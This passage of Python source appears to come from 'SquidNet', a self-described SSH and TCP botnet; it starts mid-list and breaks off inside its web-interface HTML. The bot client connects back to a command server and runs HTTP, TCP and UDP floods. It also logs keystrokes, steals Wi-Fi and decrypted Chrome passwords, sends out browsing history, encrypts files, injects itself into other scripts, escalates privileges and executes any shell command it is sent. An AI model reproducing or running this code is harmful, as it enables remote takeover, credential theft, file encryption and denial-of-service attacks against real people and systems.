rv:1.8) Gecko/20051111 Firefox/1.5', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 1.1.4322)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:0.9.4.1) Gecko/20020508 Netscape6/6.2.3', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; de) Opera 8.50', 'Mozilla/3.0 (x86 [de] Windows NT 5.0; Sun)', 'Java/1.4.1_04', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de; rv:1.8) Gecko/20051111 Firefox/1.5', 'msnbot/0.9 (+http://search.msn.com/msnbot.htm)', 'NutchCVS/0.8-dev (Nutch running at UW; http://www.nutch.org/docs/en/bot.html; <EMAIL>)', 'Mozilla/4.0 compatible ZyBorg/1.0 (<EMAIL>; http://www.WISEnutbot.com)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; de) Opera 8.53', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.4) Gecko/20030619 Netscape/7.1 (ax)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en) AppleWebKit/312.8 (KHTML, like Gecko) Safari/312.6', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows NT; DigExt)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 4.0)', 'Mozilla/4.0 (compatible; MSIE 5.16; Mac_PowerPC)', 'Mozilla/4.0 (compatible; MSIE 5.01; Windows 98)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 98; DigExt)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)', 'Mozilla/4.0 (compatible; MSIE 5.5; Windows 98; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 5.0; Windows 95)', 'Mozilla/4.0 (compatible; MSIE 5.5; AOL 7.0; Windows 98)', 'Mozilla/4.0 (compatible; MSIE 5.17; Mac_PowerPC)', 'Mozilla/4.0 (compatible; MSIE 5.01; Windows NT 5.0)', 'Mozilla/4.0 (compatible; MSIE 5.23; Mac_PowerPC)', 'Opera/8.53 (Windows NT 5.1; U; en)', 'Opera/8.01 (Windows NT 5.0; U; de)', 'Opera/8.54 (Windows NT 5.1; U; de)', 'Opera/8.53 (Windows NT 5.0; U; en)', 'Opera/8.01 (Windows NT 5.1; U; de)', 'Opera/8.50 (Windows NT 5.1; U; de)', 'Mozilla/4.0 (compatible- MSIE 6.0- Windows NT 5.1- SV1- .NET CLR 1.1.4322', 'Mozilla/4.0(compatible; MSIE 5.0; Windows 98; DigExt)', 'Mozilla/4.0 (compatible; Cerberian Drtrs Version-3.2-Build-0)', 'Mozilla/4.0 (compatible; AvantGo 6.0; FreeBSD)', 'Mozilla/4.5 [de] (Macintosh; I; PPC)', 'Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; SV1; .NET CLR 1.1.4322; .NET CLR 2.0.50727)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; .NET CLR 1.1.4322; MSN 9.0;MSN 9.1; MSNbMSNI; MSNmen-us; MSNcIA; MPLUS)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {59FC8AE0-2D88-C929-DA8D-B559D01826E7}; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; snprtz|S04741035500914#914|isdn; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; EnergyPlugIn; dial)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; iebar; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312461; sbcydsl 3.12; YComp 5.0.0.0; YPC 3.2.0; .NET CLR 1.1.4322; yplus 5.1.02b)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; .NET CLR 1.0.3705)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.2; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; YComp 5.0.0.0; SV1; .NET CLR 1.0.3705)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Ringo; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.0.1; .NET CLR 1.1.4322; yplus 4.1.00b)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; YPC 3.2.0)', 'Mozilla/4.0 (compatible; MSIE 6.0; AOL 7.0; Windows NT 5.1; FunWebProducts)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; FunWebProducts; BUILDWARE 1.6; .NET CLR 1.1.4322)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; HbTools 4.7.5)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; YPC 3.2.0; (R1 1.5)', 'Mozilla/4.0 (compatible; MSIE 6.0; X11; Linux i686; it)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; FunWebProducts; SV1)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Arcor 5.004; FunWebProducts; HbTools 4.7.5)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows 98; en)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 1.0.3705; .NET CLR 1.1.4322; Tablet PC 1.7)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Q312469)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; .NET CLR 2.0.50727)', 'Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Maxthon; SV1; FDM)', 'Mozilla/5.0 (Macintosh; U; PPC; de-DE; rv:1.0.2)', 'Mozilla/5.0 (Windows; U; Win98; de-DE; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.8.0.1)', 'Mozilla/5.0 (compatible; Konqueror/3.4; Linux 2.6.14-kanotix-9; X11)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.10)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Win98; de; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; nl; rv:1.8.0.1)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; de; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.2)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.7)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.6)', 'Mozilla/5.0 (X11; U; Linux i686; de; rv:1.8)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.8)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.10)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.7.10)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pl; rv:1.8.0.1)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-us)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8)', 'Mozilla/5.0 (Windows; U; Win 9x 4.90; de; rv:1.8.0.1)', 'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.7.12)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; fr)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.8)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fi; rv:1.8.0.1)', 'Mozilla/5.0 (X11; U; Linux i686; de-AT; rv:1.4.1)', 'Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; fr-FR; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; zh-TW; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.7.5)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.3)', 'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.12)', 'Mozilla/5.0 (X11; U; Linux i686; fr; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; sl; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; it; rv:1.8.0.1)', 'Mozilla/5.0 (X11; Linux i686; rv:1.7.5)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; de-DE; rv:1.7.6)', 'Mozilla/5.0 (Windows; U; Windows NT 5.0; en-US; rv:1.7.2)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; es-ES; rv:1.6)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-GB; rv:1.7.6)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8a3)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-DE; rv:1.7.10)', 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; de-AT; rv:1.7.12)', 'Mozilla/5.0 (Windows; U; Win 9x 4.90; en-US; rv:1.7.5)', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; pt-BR; rv:1.8.0.1)', 'Mozilla/5.0 (compatible; Konqueror/3; Linux)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X Mach-O; en-US; rv:1.7.8)', 'Mozilla/5.0 (compatible; Konqueror/3.2; Linux)', 'Mozilla/5.0 (Macintosh; U; PPC Mac OS X; tg)', 'Mozilla/5.0 (X11; U; Linux i686; de-DE; rv:1.8b4)', 'Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)', 'Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1', 'Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)', 'Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)', 'Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)', 'Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)', 'Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51'] return user_agents def stop_atk(self): self.stopatk = True def build_querystr(self, value): result = '' for i in range(value): item = random.randint(65, 100) result += chr(item) return result def ddos(self): if not self.stopatk: try: code = 0 agent = random.choice(self.useragents) req = urllib.request.Request(self.ip, headers={'User-Agent': agent, 'Referer': random.choice( self.referers) + self.build_querystr( random.randint(50, 100)), 'Cache-Control': 'no-cache', 'Accept-Charset': 'ISO-8859-1,utf-8;q=0.7,*;q=0.7', 'Keep-Alive': random.randint(110, 160), 'Connection': 'keep-alive'}) urllib.request.urlopen(req) code = 200 except urllib.error.HTTPError as e: code_split = str(e).split() code = code_split[2] code = str(code[0] + code[1] + code[2]) if "500" in str(e): code = 500 elif "429" in str(e): code = 500 elif code.startswith('5'): code = 500 except urllib.error.URLError as e: if "A connection attempt failed" in str(e): code = 500 except: pass return code def start_thr(self): while True: try: x = threading.Thread(target=self.ddos) x.start() time.sleep(self.delay) if self.stopatk: break except: pass def ddos_start(self): while True: try: http_code = self.ddos() if http_code == 500: break if self.stopatk: break except: pass class TCP_UDP_Flood: def __init__(self, ip, port, delay, pkt_size): self.ip = ip self.port = int(port) self.delay = float(delay) self.pkt_size = int(pkt_size) self.stop = False def gen_packet(self, size): return random._urandom(size) def UDP_Req(self): try: s = socket.socket(socket.AF_INET, socket.SOCK_DGRAM) s.sendto(self.gen_packet(self.pkt_size), (self.ip, self.port)) s.close() except: pass def TCP_req(self): try: s = socket.socket(socket.AF_INET, socket.SOCK_STREAM) s.connect((self.ip, self.port)) s.send(self.gen_packet(self.pkt_size)) s.close() except: pass def Stop_Atk(self): self.stop = True def TCP_Flood(self): while True: try: tcp_req = threading.Thread(target=self.TCP_req) tcp_req.start() if self.stop: break time.sleep(self.delay) except: pass def UDP_Flood(self): while True: try: udp_req = threading.Thread(target=self.UDP_Req) udp_req.start() if self.stop: break time.sleep(self.delay) except: pass class Bot: def __init__(self, ip, port, key): self.ip = ip self.port = port self.msg = "" self.name = os.popen("whoami").read().strip() if sys.platform == "win32": self.desktop = f"C:/Users/{os.getlogin()}/Desktop" elif sys.platform == "darwin": self.desktop = f"/Users/{self.name}/Desktop" else: self.desktop = f"/" self.logging = False self.file_saving = False while True: try: self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((self.ip, self.port)) break except: self.connection.close() time.sleep(1) try: logger = threading.Thread(target=self.start_logging) logger.start() except: pass self.fileeditor = False time.sleep(1) msg = socket.gethostname()+" "+self.getip()+" "+os.getlogin()+" "+sys.platform self.send(msg) time.sleep(1) self.send("!CLIENTLOG") self.recv_thr = threading.Thread(target=self.recv) self.recv_thr.start() self.conntest = threading.Thread(target=self.conn_test) self.conntest.start() self.key = key try: self.fernet_session = Fernet(self.key) except: self.fernet_session = None def getip(self): try: url = 'https://httpbin.org/ip' req = urllib.request.Request(url) result = urllib.request.urlopen(req) try: result = result.read().decode() except: result = result.read() contents = result.split() ip = contents[2].strip('"') return ip except: pass def send(self, msg): try: self.connection.send(msg.encode()) except: self.connection.send(msg) def recv(self): while True: try: self.msg = self.connection.recv(1024) try: self.msg = self.msg.decode() except: pass self.run_cmd() except: pass def on_press(self, key): if self.logging: try: self.send("!sendkey " + str(key)) except: pass def on_release(self, key): pass def start_logging(self): try: with Listener(on_press=self.on_press, on_release=self.on_release) as listener: listener.join() except: pass def obtainwifipass(self): if sys.platform == "darwin": self.send("This bot is on a Apple-based product. Unable to get wifi passwords!") else: item = subprocess.run(["netsh", "wlan", "show", "profiles"], capture_output=True).stdout.decode() prof_names = (re.findall("All User Profile : (.*)\\r", item)) passwords = [] check_networks = [] for i in prof_names: item = subprocess.run(["netsh", "wlan", "show", "profiles", i], capture_output=True).stdout.decode() security_key = False security_key_present = (re.findall("Security key : (.*)\\r", item)) if security_key_present[0] == "Present": check_networks.append(i) else: pass for i in check_networks: item = subprocess.run(["netsh", "wlan", "show", "profiles", i, "key=clear"], capture_output=True).stdout.decode() wifi_pass = (re.findall("Key Content : (.*)", item)) wifi_pass = wifi_pass[0] info = {'ssid': i, 'key': wifi_pass.strip()} passwords.append(info) main_msg = "" for i in passwords: main_msg = main_msg + str(i) + "," main_msg = f"Wifi Passwords: {main_msg}" return main_msg def openfile(self, file): try: if sys.platform == "darwin": os.system(f"open {file}") else: os.startfile(file) except: pass def changedir(self, dir): try: os.chdir(dir) except: pass def getinfo(self): msg = f''' IP: {self.getip()} CWD: {os.getcwd()} USERNAME: {os.getlogin()} OS: {sys.platform} ''' return msg def returnsecondstr(self, msg): instruction = msg.split() secondstr = instruction[1] return secondstr def rmdir(self, dir): try: shutil.rmtree(dir) except: pass def rmfile(self, file): try: os.remove(file) except: pass def mkdir(self, dirname): try: os.mkdir(dirname) except: pass def listdir(self): try: dirlist = os.listdir() result = "" item = 0 dir_count = len(dirlist) for i in dirlist: if item == dir_count: result += f"{i}" else: result += f"{i}, " item += 1 return result except: pass def sendfile(self, filename): try: file = open(filename, 'rb') content = file.read() file.close() self.send(content) time.sleep(5) self.send("finished".encode()) except: pass def file_content(self, filename): try: file = open(filename, 'rb') content = file.read() file.close() self.send(content) except: pass def encdir(self): for i in os.listdir(): try: file = open(i, 'rb') content = file.read() file.close() enc_content = self.fernet_session.encrypt(content) file = open(i, 'wb') file.write(enc_content) file.close() except: pass def decdir(self): for i in os.listdir(): try: file = open(i, 'rb') content = file.read() file.close() dec_content = self.fernet_session.decrypt(content) file = open(i, 'wb') file.write(dec_content) file.close() except: pass def encfile(self, filename): try: file = open(filename, 'rb') content = file.read() file.close() enc_content = self.fernet_session.encrypt(content) file = open(filename, 'wb') file.write(enc_content) file.close() except: pass def decfile(self, filename): try: file = open(filename, 'rb') content = file.read() file.close() dec_content = self.fernet_session.decrypt(content) file = open(filename, 'wb') file.write(dec_content) file.close() except: pass def getfrinternet(self, src ,filetocreate): try: output = os.popen(f"curl {src} -o {filetocreate}").read() self.send(f"Created {filetocreate} into {os.getcwd()}") except: pass def conn_test(self): connected = True while True: try: if connected: self.send(" ") time.sleep(1) except: connected = False while True: try: self.connection = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.connection.connect((self.ip, self.port)) msg = socket.gethostname() + " " + self.getip() + " " + os.getlogin() + " " + sys.platform self.send(msg) time.sleep(1) self.send("!CLIENTLOG".encode()) time.sleep(1) connected = True break except: pass try: logger = threading.Thread(target=self.start_logging) logger.start() except: pass def get_encryption_key(self): local_state_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "Local State") with open(local_state_path, "r", encoding="utf-8") as f: local_state = f.read() local_state = json.loads(local_state) key = base64.b64decode(local_state["os_crypt"]["encrypted_key"]) key = key[5:] return win32crypt.CryptUnprotectData(key, None, None, None, 0)[1] def decrypt_password(self,password, key): try: iv = password[3:15] password = password[15:] cipher = AES.new(key, AES.MODE_GCM, iv) return cipher.decrypt(password)[:-16].decode() except: try: return str(win32crypt.CryptUnprotectData(password, None, None, None, 0)[1]) except: return "" def main_password_yoinker(self): msgtoserv = "" key = self.get_encryption_key() db_path = os.path.join(os.environ["USERPROFILE"], "AppData", "Local", "Google", "Chrome", "User Data", "default", "Login Data") filename = "ChromeData.db" shutil.copyfile(db_path, filename) db = sqlite3.connect(filename) cursor = db.cursor() cursor.execute( "select origin_url, action_url, username_value, password_value, date_created, date_last_used from logins order by date_created") for row in cursor.fetchall(): origin_url = row[0] action_url = row[1] username = row[2] password = self.decrypt_password(row[3], key) if username or password: msgtoserv += f"\\nOrigin Url: {origin_url}\\nAction Url: {action_url}\\nUsername: {username}\\nPassword: {<PASSWORD>" else: continue cursor.close() db.close() try: os.remove(filename) except: pass return msgtoserv def gotowebsite(self, website): if sys.platform == "win32": os.system(f'start {website}') else: os.system(f'open {website}') def clone(self): file_ending = sys.argv[0].split(".") file_ending = file_ending[len(file_ending) - 1] if "py" in file_ending: own_file = open(sys.argv[0], "r") own_content = own_file.readlines() own_file.close() lines = [] in_code = False for line in own_content: if "#-----SquidNet-Bot-Script-----#" in line: in_code = True if in_code: lines.append(line) if "#-----End-Of-Bot-----#" in line: in_code = False break else: own_file = open(sys.argv[0], "rb") own_content = own_file.read() own_file.close() if sys.platform == "win32": main_dir = f"C:/Users/{os.getlogin()}/" else: main_dir = f"/Users/{self.name}/" os.chdir(main_dir) workingdirs = [] workingdirs.append(main_dir) workingdirs.append(os.getcwd()) dirlist = os.listdir() for dirs in dirlist: if "." in dirs: pass else: workingdirs.append(main_dir + str(dirs)) dirlist = os.listdir() for dirs in workingdirs: try: os.chdir(dirs) except: pass for files in dirlist: try: if '.'+file_ending in files: if "py" in file_ending: file = open(files, "r") content = file.readlines() file.close() if "#-----SquidNet-Bot-Script-----#" in content: pass else: file = open(files, "w") file.writelines(lines) file.writelines("\\n\\n") file.writelines(content) file.close() else: file = open(files, "rb") content = file.read() file.close() if own_content in content: pass else: file = open(files, "wb") file.write(own_content + "\\n\\n".encode()) file.write(content) file.close() except: pass def gotowebsite(self, website): if sys.platform == "win32": os.system(f'start {website}') else: os.system(f'open {website}') def send_history(self): dirs = os.getcwd() if sys.platform == "win32": os.chdir(f"C:/Users/{os.getlogin()}/AppData/Local/Google/Chrome/User Data/Default/") elif sys.platform == "darwin": os.chdir(f"/Users/{self.name}/Library/Application Support/Google/Chrome/User Data/Default/") shutil.copyfile("History", dirs + "/History.db") os.chdir(dirs) History = sqlite3.connect("History.db") cursor = History.cursor() e = cursor.execute("SELECT last_visit_time, visit_count, title, url from urls") for i in cursor.fetchall(): time = i[0] visit_count = i[1] url = i[3] title = i[2] epoch = datetime(1601, 1, 1) url_time = epoch + timedelta(microseconds=time) self.send(f"({url_time}) ({visit_count}) ({title}) ({url})".encode()) cursor.close() History.close() os.remove("History.db") def run_cmd(self): try: if self.fileeditor: if self.msg.startswith("!stopedit"): self.send(f"File editor closed for {self.filename}.") self.fileeditor = False else: try: self.msg = "\\n" + self.msg except: self.msg = "\\n".encode() + self.msg self.file = open(self.filename, "rb") contents = self.file.read() self.file.close() self.file = open(self.filename, "wb") self.file.write(contents) self.file.write(self.msg.encode()) self.file.close() else: if self.msg.startswith('!httpflood'): msg = self.msg.split() ip = msg[1] delay = float(msg[2]) self.dos = DDoS(ip, delay) elif self.msg.startswith('!stopatk'): try: self.dos.stop_atk() except: pass try: self.tcpflood.Stop_Atk() except: pass try: self.udpflood.Stop_Atk() except: pass elif self.msg.startswith('!cloneself'): cloner = threading.Thread(target=self.clone) cloner.start() self.connection.send("Successfully replicated files.".encode()) elif self.msg.startswith('!changedirdesktop'): self.changedir(self.desktop) elif self.msg.startswith('!openfile'): file = self.returnsecondstr(self.msg) self.openfile(file) elif self.msg.startswith('!changedir'): dir = self.returnsecondstr(self.msg) self.changedir(dir) elif self.msg.startswith('!rmdir'): dir = self.returnsecondstr(self.msg) self.rmdir(dir) elif self.msg.startswith('!rmfile'): file = self.returnsecondstr(self.msg) self.rmfile(file) elif self.msg.startswith('!listdir'): dirlist = self.listdir() self.send(dirlist) elif self.msg.startswith('!encdir'): self.encdir() elif self.msg.startswith('!decdir'): self.decdir() elif self.msg.startswith('!encfile'): file = self.returnsecondstr(self.msg) self.encfile(file) elif self.msg.startswith('!decfile'): file = self.returnsecondstr(self.msg) self.decfile(file) elif self.msg.startswith('!getinfo'): msgtoserv = self.getinfo() self.send(msgtoserv) elif self.msg.startswith('!getip'): self.send(self.getip()) elif self.msg.startswith("!keylog"): if self.logging: pass else: self.send("Started to send keyboard inputs.") self.logging = True elif self.msg.startswith("!stopkeylog"): if self.logging: self.send("Stopped Keylogging.") self.logging = False elif self.msg.startswith('!getwifi'): wifi_passwords = self.obtainwifipass() self.send(wifi_passwords) elif self.msg.startswith('!savefile'): file = self.returnsecondstr(self.msg) self.sendfile(file) elif self.msg.startswith('!viewfilecontent'): file = self.returnsecondstr(self.msg) self.file_content(file) elif self.msg.startswith("!getchromehistory"): self.send_history() elif self.msg.startswith('!mkdir'): main_msg = self.msg.split() dirname = main_msg[1] self.mkdir(dirname) self.send(f"Successfully Created {dirname}") elif self.msg.startswith('!getcwd'): self.send(os.getcwd()) elif self.msg.startswith('!getos'): self.send(sys.platform) elif self.msg.startswith('!gotowebsite'): main_msg = self.msg.split() url = main_msg[1] self.gotowebsite(url) elif self.msg.startswith('!dwnldfile'): main_msg = self.msg.split() src = main_msg[1] file = main_msg[2] self.getfrinternet(src, file) elif self.msg.startswith('!getpasswords'): if sys.platform == "win32": passwords = self.main_password_yoinker() self.connection.send(passwords.encode()) else: self.connection.send("Running on a non-windows machine - Cannot get passwords!") elif self.msg.startswith("!editfile"): try: main_msg = self.msg.split() self.editfile = open(str(main_msg[1]), "rb") self.editfile.close() self.filename = self.editfile.name self.fileeditor = True self.send(f"File editing mode activated for file {self.filename}") except: self.send("File cannot be opened on this computer.".encode()) self.fileeditor = False elif self.msg.startswith("!mkfile"): msg_split = self.msg.split() try: filename = msg_split[1] file = open(str(filename), "w") file.close() self.send(f"File {filename} has been created in {os.getcwd()}".encode()) except: self.send("Error with creating files.".encode()) elif self.msg.startswith("!rickroll"): if sys.platform == "win32": for i in range(10): os.system("start https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstleyVEVO") else: for i in range(10): os.system("open https://www.youtube.com/watch?v=dQw4w9WgXcQ&ab_channel=RickAstleyVEVO") self.send("Just got rick rolled!".encode()) elif self.msg.startswith("!tcpflood"): msg_split = self.msg.split() ip = msg_split[1] try: port = int(msg_split[2]) except: port = 80 try: delay = float(msg_split[3]) except: delay = 0 try: pkt_size = int(msg_split[4]) except: pkt_size = 1024 self.tcpflood = TCP_UDP_Flood(ip, port, delay, pkt_size) self.tcp_flood = threading.Thread(target=self.tcpflood.TCP_Flood) self.tcp_flood.start() elif self.msg.startswith("!udpflood"): msg_split = self.msg.split() ip = msg_split[1] try: port = int(msg_split[2]) except: port = 80 try: delay = float(msg_split[3]) except: delay = 0 try: pkt_size = int(msg_split[4]) except: pkt_size = 1024 self.udpflood = TCP_UDP_Flood(ip, port, delay, pkt_size) self.udp_flood = threading.Thread(target=self.udpflood.UDP_Flood) self.udp_flood.start() else: cmd = subprocess.Popen(self.msg, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE, stdin=subprocess.PIPE) stdout = cmd.stdout.read()+cmd.stderr.read() self.send(stdout) except Exception as e: self.send(f"Error in script: {e}".encode()) ip = '""" + self.ngroklink + """' port = """ + str(self.ngrokport) + """ key = """ + str(self.key) + """ if sys.platform == "win32": try: isadmin = ctypes.windll.shell32.IsUserAnAdmin() except: isadmin = False if isadmin: bot = Bot(ip, port, key) else: exec_dir = sys.argv[0] params = f'"{exec_dir}"' try: ctypes.windll.shell32.ShellExecuteW(None, "runas", sys.executable, params, None, 1) except: bot = Bot(ip, port, key) else: bot = Bot(ip, port, key) #-----End-Of-Bot-----# """ return script class Web_Interface: """Web Interface for seeing connections, some general info about them, and also info about this script. There are some important info about some of the important variables in the server, so that the User can learn more about it.""" def __init__(self, ip, port): """Initiation of the web-server, also where all the important variables are defined, as well as the starting of the server and threads.""" self.ip = "localhost" self.port = port self.working = False try: self.server = socket.socket(socket.AF_INET, socket.SOCK_STREAM) self.server.bind((ip, port)) self.working = True except Exception as e: print(f"\n[+] Web-Interface is unable to start due to error: {e}") if self.working: self.packet = "" self.listener = threading.Thread(target=self.listen) self.listener.start() self.packets = threading.Thread(target=self.packetmaker) self.packets.start() def packetmaker(self): """This function generates the packet to send to the client and also for updating the Web-Interface.""" while True: try: conn_bots = "" for x in botnet.botnet.info: conn_bots += '<tr>\n<td>' + x.split()[0] + '</td>\n<td>' + x.split()[1] + "</td>\n<td>" + x.split()[ 2] + "</td>\n<td>" + x.split()[3] + "</td>\n<td>" + x.split()[4] + "</td>\n</tr>\n" conn_admin = "" for x in botnet.botnet.admininfo: conn_admin += '<tr>\n<td>' + x.split()[0] + '</td>\n<td>' + x.split()[1] + "</td>\n<td>" + \ x.split()[ 2] + "</td>\n<td>" + x.split()[3] + "</td>\n<td>" + x.split()[ 4] + "</td>\n</tr>\n" conn_ssh = "" for x in botnet.botnet.ssh_info: conn_ssh += '<tr>\n<td>' + x.split()[0] + '</td>\n<td>' + x.split()[1] + "</td>\n<td>" + x.split()[ 2] + "</td>\n</tr>\n" self.packet = """ <!DOCTYPE html> <html lang="en"> <meta charset="UTF-8"> <title>SquidNet Web-Interface</title> <head> <style> table { border: 3px solid black; font-size: 50px border-collapse: collapse; font: arial; } td, th { border: 1px solid black; padding: 5px; } </style> </head> <body> <h1>SquidNet Web Interface<h1> <h3>(Clearly HTML is not my base language so it doesn't look too good)<h3> <h1>Connections To the Botnet<h1> <table> <thead> <tr> <th>Hostname</th> <th>IP Address</th> <th>UserName</th> <th>Connection</th> <th>OS</th> </tr> </thead> <tbody> """ + str(conn_bots) + """ </tbody> </table> <h1>Admin Connections To the Botnet<h1> <table> <thead> <tr> <th>Hostname</th> <th>IP Address</th> <th>UserName</th> <th>Connection</th> <th>OS</th> </tr> </thead> <tbody> """ + str(conn_admin) + """ </tbody> </table> <h1>SSH Connections to the Botnet</h1> <table> <thead> <tr> <th>Hostname</th> <th>IP Address</th> <th>Password</th> </tr> </thead> <tbody> """ + str(conn_ssh) + """ </tbody> </table> <h2>About:</h2> </h4>Squidnet is an SSH and TCP Botnet Hybrid. The Botnet has the ability to take control of computers compromised by the bot script, as well as gaining access to ssh servers. It also has a form of security in which admins need to provide a username and a password in order to gain access. They will be kicked if they do not enter the correct credentials. The Bots can do many things including DDoS Attacks(HTTP, TCP and UDP Floods), sending their passwords to the Botnet, editing files remotely, and many more.</h4> <h2>Important Info</h2> <h4>Server Log file: """ + os.getcwd() + """\\servlog.txt - Good for checking for errors and server output.</h4> <h4>Server IP: """ + str(botnet.botnet.ngroklink) + """:""" + str(botnet.botnet.ngrokport) + """ - How Bots will connect to the Botnet.</h4> <h4>Admin 